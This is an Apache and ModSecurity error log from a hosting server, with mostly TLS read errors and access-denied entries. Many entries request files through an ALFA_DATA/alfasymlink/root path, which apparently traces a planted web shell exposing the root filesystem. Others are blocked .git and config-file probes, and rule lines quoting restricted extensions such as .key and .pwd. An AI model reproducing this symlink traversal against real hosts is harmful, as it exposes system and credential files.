[Mon Oct 26 10:24:54.099863 2026] [security2:error] [pid 3044303:tid 3044303] [client 77.83.39.94:44980] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/.git/index"] [unique_id "at9itrRNJnL4L9TV9UoYOQAAAEE"]
[Mon Oct 26 10:24:54.101139 2026] [security2:error] [pid 3044303:tid 3044303] [client 77.83.39.94:44980] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at9itrRNJnL4L9TV9UoYOQAAAEE"]
[Mon Oct 26 10:24:54.470428 2026] [core:crit] [pid 3041799:tid 3041799] (13)Permission denied: [client 216.244.66.250:35520] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/655/fd/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/655/fd/' is executable
[Mon Oct 26 10:24:54.470512 2026] [core:crit] [pid 3041799:tid 3041799] (13)Permission denied: [client 216.244.66.250:35520] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/655/map_files/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/655/map_files/' is executable
[Mon Oct 26 10:24:54.470529 2026] [core:crit] [pid 3041799:tid 3041799] (13)Permission denied: [client 216.244.66.250:35520] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/655/fdinfo/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/655/fdinfo/' is executable
[Mon Oct 26 10:24:58.154936 2026] [ssl:error] [pid 3044292:tid 3044292] (70014)End of file found: [client 100.28.44.58:22960] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:25:02.194782 2026] [core:error] [pid 3027735:tid 3027735] (13)Permission denied: [client 23.21.250.48:28671] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:12/subsystem/devices/device:1a/subsystem/devices/device:01/PNP0303:00/physical_node/driver/uevent
[Mon Oct 26 10:25:18.250984 2026] [ssl:error] [pid 3040031:tid 3040031] (70014)End of file found: [client 3.229.95.193:25179] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:25:20.365129 2026] [core:error] [pid 3044281:tid 3044281] (13)Permission denied: [client 85.208.96.206:16610] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kioctx/total_objects
[Mon Oct 26 10:25:22.442319 2026] [core:error] [pid 3034818:tid 3034818] (13)Permission denied: [client 85.208.96.193:35902] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/hashtab_node/trace
[Mon Oct 26 10:25:26.300006 2026] [ssl:error] [pid 3044291:tid 3044291] (70014)End of file found: [client 34.231.156.59:58980] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:25:27.844732 2026] [core:error] [pid 3040031:tid 3040031] (13)Permission denied: [client 185.191.171.5:56312] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/anon_vma/aliases
[Mon Oct 26 10:25:30.207711 2026] [ssl:error] [pid 3041799:tid 3041799] (70014)End of file found: [client 18.210.58.238:10512] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:25:35.055597 2026] [ssl:error] [pid 3034818:tid 3034818] (70014)End of file found: [client 185.191.171.3:11428] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:25:38.162082 2026] [ssl:error] [pid 3044291:tid 3044291] (70014)End of file found: [client 3.220.148.166:47511] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:25:43.451301 2026] [ssl:error] [pid 3044281:tid 3044281] (70014)End of file found: [client 85.208.96.203:47350] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:26:02.317298 2026] [ssl:error] [pid 3044281:tid 3044281] (70014)End of file found: [client 100.29.107.38:41346] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:26:06.160487 2026] [ssl:error] [pid 3044299:tid 3044299] (5)Input/output error: [client 98.84.200.43:61052] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:26:10.149870 2026] [core:error] [pid 3039887:tid 3039887] (13)Permission denied: [client 44.223.193.255:63342] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/subsystem/drivers/uhci_hcd/uevent
[Mon Oct 26 10:26:22.138662 2026] [ssl:error] [pid 3040031:tid 3040031] (70014)End of file found: [client 54.225.98.148:9513] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:26:27.095937 2026] [ssl:error] [pid 3027735:tid 3027735] (70014)End of file found: [client 85.208.96.208:48538] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:26:30.140464 2026] [ssl:error] [pid 3039887:tid 3039887] (70014)End of file found: [client 52.0.63.151:56317] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:26:38.148292 2026] [core:error] [pid 3040031:tid 3040031] (13)Permission denied: [client 44.221.227.90:47745] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/event4/subsystem/input3/subsystem/input5/device/driver/module/drivers/platform:pcspkr/uevent
[Mon Oct 26 10:26:42.162914 2026] [ssl:error] [pid 3040035:tid 3040035] (70014)End of file found: [client 54.80.73.122:8311] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:26:46.130864 2026] [ssl:error] [pid 3044292:tid 3044292] (70014)End of file found: [client 44.221.105.234:63087] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:26:50.192047 2026] [ssl:error] [pid 3034818:tid 3034818] (70014)End of file found: [client 23.23.214.190:8209] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:26:54.154812 2026] [ssl:error] [pid 3040031:tid 3040031] (70014)End of file found: [client 34.227.156.153:10534] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:27:02.157281 2026] [ssl:error] [pid 3044292:tid 3044292] (70014)End of file found: [client 52.7.33.248:7554] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:27:06.236720 2026] [ssl:error] [pid 3034818:tid 3034818] (70014)End of file found: [client 52.201.155.215:62767] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:27:22.151097 2026] [ssl:error] [pid 3044292:tid 3044292] (70014)End of file found: [client 52.2.58.41:1829] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:27:22.692454 2026] [ssl:error] [pid 3034818:tid 3034818] (70014)End of file found: [client 85.208.96.203:58900] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:27:30.185878 2026] [ssl:error] [pid 3044299:tid 3044299] (70014)End of file found: [client 44.223.232.55:65206] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:27:38.148017 2026] [ssl:error] [pid 3034818:tid 3034818] (70014)End of file found: [client 23.21.204.95:55391] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:27:42.177334 2026] [ssl:error] [pid 3039887:tid 3039887] (70014)End of file found: [client 3.232.82.72:57552] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:27:46.156705 2026] [ssl:error] [pid 3034818:tid 3034818] (5)Input/output error: [client 54.243.63.52:7530] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:27:54.223335 2026] [ssl:error] [pid 3044281:tid 3044281] (70014)End of file found: [client 100.29.107.38:9254] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:28:06.150062 2026] [ssl:error] [pid 3044281:tid 3044281] (70014)End of file found: [client 54.197.114.76:32011] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:28:14.164802 2026] [ssl:error] [pid 3034818:tid 3034818] (70014)End of file found: [client 3.210.223.61:14721] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:28:26.160650 2026] [ssl:error] [pid 3034818:tid 3034818] (70014)End of file found: [client 34.238.45.183:21359] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:28:30.255277 2026] [ssl:error] [pid 3044292:tid 3044292] (70014)End of file found: [client 23.21.119.232:31146] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:28:34.190049 2026] [ssl:error] [pid 3040031:tid 3040031] (70014)End of file found: [client 3.210.223.61:42701] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:28:46.094994 2026] [ssl:error] [pid 3040035:tid 3040035] (70014)End of file found: [client 185.191.171.12:58416] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:28:58.151944 2026] [ssl:error] [pid 3044268:tid 3044268] (70014)End of file found: [client 52.200.58.199:49454] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:29:06.180796 2026] [core:error] [pid 3044292:tid 3044292] (13)Permission denied: [client 54.210.155.69:32408] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/sys/class/tty/tty12/subsystem/ttyS1/subsystem/ttyS0/device/tty/ttyS3/flags
[Mon Oct 26 10:29:10.258374 2026] [ssl:error] [pid 3044291:tid 3044291] (70014)End of file found: [client 100.28.57.133:20380] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:29:14.386641 2026] [ssl:error] [pid 3034818:tid 3034818] (70014)End of file found: [client 54.235.172.96:32992] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:29:18.170572 2026] [ssl:error] [pid 3044268:tid 3044268] (70014)End of file found: [client 34.234.200.207:17513] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:29:26.126906 2026] [ssl:error] [pid 3040031:tid 3040031] (70014)End of file found: [client 34.231.45.47:12232] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:29:31.481708 2026] [ssl:error] [pid 3039832:tid 3039832] (70014)End of file found: [client 85.208.96.195:63604] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:29:34.174047 2026] [ssl:error] [pid 3041799:tid 3041799] (70014)End of file found: [client 44.197.76.210:58255] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:29:38.282481 2026] [ssl:error] [pid 3044299:tid 3044299] (70014)End of file found: [client 23.21.204.95:26663] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:29:39.889727 2026] [ssl:error] [pid 3034818:tid 3034818] (22)Invalid argument: [client 185.191.171.2:54558] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:29:39.923953 2026] [ssl:error] [pid 3039832:tid 3039832] (22)Invalid argument: [client 185.191.171.2:54570] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:29:42.166546 2026] [ssl:error] [pid 3044287:tid 3044287] (70014)End of file found: [client 3.213.46.222:63096] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:29:50.414084 2026] [ssl:error] [pid 3034818:tid 3034818] (70014)End of file found: [client 52.45.15.233:57884] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:30:04.457797 2026] [security2:error] [pid 3044303:tid 3044303] [client 107.172.76.131:54520] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at9j37RNJnL4L9TV9UoYSgAAAEE"], referer: https://clic1.sherwinpinturas.com//beta.php
[Mon Oct 26 10:30:04.457875 2026] [security2:error] [pid 3044303:tid 3044303] [client 107.172.76.131:54520] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at9j37RNJnL4L9TV9UoYSgAAAEE"], referer: https://clic1.sherwinpinturas.com//beta.php
[Mon Oct 26 10:30:10.194717 2026] [ssl:error] [pid 3034818:tid 3034818] (70014)End of file found: [client 3.226.34.98:57858] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:30:18.166884 2026] [ssl:error] [pid 3044281:tid 3044281] (70014)End of file found: [client 54.243.63.52:26673] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:30:25.471551 2026] [security2:error] [pid 3034818:tid 3034818] [client 16.216.88.177:24576] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/370_mod_remoteip.conf"] [unique_id "at9kAXYYJ1RlC0FZClQG7gAAABw"]
[Mon Oct 26 10:30:25.472063 2026] [security2:error] [pid 3034818:tid 3034818] [client 16.216.88.177:24576] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/370_mod_remoteip.conf"] [unique_id "at9kAXYYJ1RlC0FZClQG7gAAABw"]
[Mon Oct 26 10:30:25.472380 2026] [security2:error] [pid 3034818:tid 3034818] [client 16.216.88.177:24576] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/370_mod_remoteip.conf"] [unique_id "at9kAXYYJ1RlC0FZClQG7gAAABw"]
[Mon Oct 26 10:30:26.250038 2026] [ssl:error] [pid 3039832:tid 3039832] (70014)End of file found: [client 52.200.58.199:26925] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:30:34.143270 2026] [ssl:error] [pid 3034818:tid 3034818] (70014)End of file found: [client 3.229.95.193:51955] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:30:34.756447 2026] [core:error] [pid 3039832:tid 3039832] (13)Permission denied: [client 85.208.96.194:49334] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_pending_reservation/cpu_slabs
[Mon Oct 26 10:30:39.301847 2026] [authz_core:error] [pid 3027735:tid 3027735] [client 51.81.111.74:22674] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/col2/php.ini
[Mon Oct 26 10:30:42.138414 2026] [ssl:error] [pid 3044268:tid 3044268] (70014)End of file found: [client 3.222.190.107:60973] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:30:46.124767 2026] [ssl:error] [pid 3044291:tid 3044291] (70014)End of file found: [client 44.205.120.22:39090] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:31:06.548301 2026] [ssl:error] [pid 3042122:tid 3042122] (70014)End of file found: [client 54.157.84.74:8416] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:31:18.158854 2026] [ssl:error] [pid 3044296:tid 3044296] (70014)End of file found: [client 100.25.120.246:2355] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:31:50.142059 2026] [ssl:error] [pid 3044296:tid 3044296] (70014)End of file found: [client 34.206.212.24:44596] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:31:58.133721 2026] [ssl:error] [pid 3039887:tid 3039887] (70014)End of file found: [client 54.156.248.117:10823] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:32:02.278269 2026] [ssl:error] [pid 3048567:tid 3048567] (70014)End of file found: [client 54.198.33.233:59237] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:32:06.165035 2026] [ssl:error] [pid 3035808:tid 3035808] (70014)End of file found: [client 54.84.147.79:4368] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:32:22.369697 2026] [ssl:error] [pid 3048567:tid 3048567] (70014)End of file found: [client 98.80.130.239:4494] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:32:34.143381 2026] [core:error] [pid 3044312:tid 3044312] (13)Permission denied: [client 18.214.251.19:64268] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/sys/class/tty/tty28/subsystem/ttyS1/irq
[Mon Oct 26 10:32:46.233751 2026] [ssl:error] [pid 3035808:tid 3035808] (70014)End of file found: [client 3.210.114.189:32119] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:32:54.155428 2026] [ssl:error] [pid 3044303:tid 3044303] (5)Input/output error: [client 3.221.244.28:21973] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:32:58.288702 2026] [ssl:error] [pid 3045151:tid 3045151] (70014)End of file found: [client 34.206.193.60:64624] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:33:10.309396 2026] [ssl:error] [pid 3048426:tid 3048426] (70014)End of file found: [client 3.224.104.67:46820] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:33:18.142377 2026] [ssl:error] [pid 3044296:tid 3044296] (70014)End of file found: [client 44.193.102.198:48629] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:33:19.773727 2026] [ssl:error] [pid 3041799:tid 3041799] (70014)End of file found: [client 185.191.171.3:52010] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:33:22.186284 2026] [ssl:error] [pid 3039887:tid 3039887] (70014)End of file found: [client 3.94.157.25:9803] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:33:34.262492 2026] [ssl:error] [pid 3041799:tid 3041799] (70014)End of file found: [client 98.82.66.172:27869] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:33:42.412682 2026] [ssl:error] [pid 3044291:tid 3044291] (70014)End of file found: [client 34.231.45.47:1696] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:34:02.126887 2026] [ssl:error] [pid 3035808:tid 3035808] (70014)End of file found: [client 52.70.209.13:26671] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:34:06.136668 2026] [ssl:error] [pid 3041799:tid 3041799] (70014)End of file found: [client 23.23.137.202:46433] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:34:10.141747 2026] [ssl:error] [pid 3044291:tid 3044291] (22)Invalid argument: [client 52.0.63.151:2420] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:34:14.193302 2026] [core:error] [pid 3048426:tid 3048426] (13)Permission denied: [client 52.71.203.206:64812] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/device:03/physical_node/subsystem/drivers/ata_piix/module/sections/__bug_table
[Mon Oct 26 10:34:18.336734 2026] [core:error] [pid 3048567:tid 3048567] (13)Permission denied: [client 52.200.93.170:41186] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/memory6/node0/cpu0/firmware_node/subsystem/uevent
[Mon Oct 26 10:34:22.146409 2026] [core:error] [pid 3041799:tid 3041799] (13)Permission denied: [client 18.232.36.1:40508] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/memory13/node0/cpu0/firmware_node/physical_node/crash_notes
[Mon Oct 26 10:34:30.310075 2026] [core:error] [pid 3044281:tid 3044281] (13)Permission denied: [client 34.206.193.60:19966] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory5/node0/memory10/node0/cpu1/crash_notes_size
[Mon Oct 26 10:34:34.159313 2026] [ssl:error] [pid 3045151:tid 3045151] (70014)End of file found: [client 54.210.155.69:24587] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:34:43.301517 2026] [core:error] [pid 3044281:tid 3044281] (13)Permission denied: [client 85.208.96.206:38022] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/drm_shmem_helper/sections/__bug_table
[Mon Oct 26 10:34:44.293454 2026] [security2:error] [pid 3048588:tid 3048588] [client 124.156.226.179:54972] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/beta/bullet_bots.log"] [unique_id "at9lBOBV0X2-qlYz97NxkQAAAAY"]
[Mon Oct 26 10:34:44.293632 2026] [security2:error] [pid 3048588:tid 3048588] [client 124.156.226.179:54972] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/beta/bullet_bots.log"] [unique_id "at9lBOBV0X2-qlYz97NxkQAAAAY"]
[Mon Oct 26 10:34:44.294072 2026] [security2:error] [pid 3048588:tid 3048588] [client 124.156.226.179:54972] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 8)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/beta/bullet_bots.log"] [unique_id "at9lBOBV0X2-qlYz97NxkQAAAAY"]
[Mon Oct 26 10:34:44.294412 2026] [security2:error] [pid 3048588:tid 3048588] [client 124.156.226.179:54972] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 8 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/beta/bullet_bots.log"] [unique_id "at9lBOBV0X2-qlYz97NxkQAAAAY"]
[Mon Oct 26 10:34:47.262352 2026] [core:error] [pid 3048567:tid 3048567] (13)Permission denied: [client 85.208.96.211:17900] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-16/partial
[Mon Oct 26 10:34:50.174334 2026] [ssl:error] [pid 3041799:tid 3041799] (70014)End of file found: [client 3.221.50.71:21598] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:34:58.148671 2026] [ssl:error] [pid 3044296:tid 3044296] (70014)End of file found: [client 18.209.201.119:3473] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:35:02.198309 2026] [ssl:error] [pid 3048567:tid 3048567] (70014)End of file found: [client 52.6.5.24:61790] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:35:14.158085 2026] [ssl:error] [pid 3048588:tid 3048588] (70014)End of file found: [client 54.166.126.132:46152] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:35:18.228409 2026] [core:error] [pid 3048567:tid 3048567] (13)Permission denied: [client 52.2.4.213:9256] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/subsystem/devices/LNXSYBUS:00/PNP0C0F:04/subsystem/devices/PNP0A03:00/device:03/physical_node/rescan
[Mon Oct 26 10:35:26.148911 2026] [ssl:error] [pid 3044296:tid 3044296] (70014)End of file found: [client 23.23.99.55:23994] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:35:30.186193 2026] [ssl:error] [pid 3035808:tid 3035808] (70014)End of file found: [client 3.229.2.217:1845] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:35:38.193496 2026] [ssl:error] [pid 3044291:tid 3044291] (70014)End of file found: [client 23.21.148.226:59071] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:35:42.147070 2026] [ssl:error] [pid 3041799:tid 3041799] (70014)End of file found: [client 52.6.232.201:20840] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:35:48.100002 2026] [security2:error] [pid 3040035:tid 3040035] [client 107.172.76.131:54561] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at9lOJ204gkO_cfUSwemfAAAAA0"], referer: https://bases1.sherwinpinturas.com/beta.php
[Mon Oct 26 10:35:48.100062 2026] [security2:error] [pid 3040035:tid 3040035] [client 107.172.76.131:54561] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at9lOJ204gkO_cfUSwemfAAAAA0"], referer: https://bases1.sherwinpinturas.com/beta.php
[Mon Oct 26 10:35:50.131605 2026] [ssl:error] [pid 3048426:tid 3048426] (70014)End of file found: [client 18.215.112.101:52498] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:35:54.152211 2026] [core:error] [pid 3048567:tid 3048567] (13)Permission denied: [client 98.82.59.253:15007] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/device:03/wakeup/wakeup3/subsystem/wakeup9/device/driver/0000:00:01.2/rescan
[Mon Oct 26 10:36:10.209817 2026] [ssl:error] [pid 3048990:tid 3048990] (22)Invalid argument: [client 52.45.15.233:23259] AH02013: coalesce failed to read from data bucket
